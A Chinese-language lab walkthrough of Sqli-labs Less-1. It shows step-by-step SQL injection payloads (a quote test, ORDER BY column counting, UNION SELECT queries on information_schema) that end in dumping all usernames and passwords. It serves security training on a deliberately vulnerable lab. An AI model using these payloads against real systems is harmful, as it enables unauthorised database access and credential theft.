Sqli-labs less-1
首先看题,提示你输入数字值的ID作为参数,我们输入?id=1,发现直接得到登录名和密码
输入的数值不同,回显内容也不同,所以输入的内容是带入到数据库里面查询了
接下来判断是字符型还是数字型
我们可以在数值1后面加上一个单引号和双引号来判断,先加入单引号看看。可以发现直接报错
我们再加入双引号看看,回显是正常的,证明存在字符型注入。此处引号变为%27,是因为这里使用了url编码导致的,后面的截图出现%开头的皆为url编码
此时我们可以使用order by语句来判断数据库存在多少列,我们先尝试输入order by 3 --+
此处--+为注释符。发现正常回显
我们再尝试输入order by 4 --+ 发现提示不存在第四列,证明数据库只存在三列
然后获取当前数据库名和版本号,输入?id=-1'union select 1,database(),version()--+,得到数据库名为security
接下来我们可以爆出显示位,输入?id=-1'union select 1,2,3--+
接下来,我们可以爆破表内容了,一般数据库的所有信息都在数据库information_schema里,
输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有emails。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
接下来爆列名,我们尝试爆破user表的列名,输入
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容
发现账号和密码果然在这个表中,接下来我们就要得到该字段对应的内容,输入?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
至此得到所有账号和密码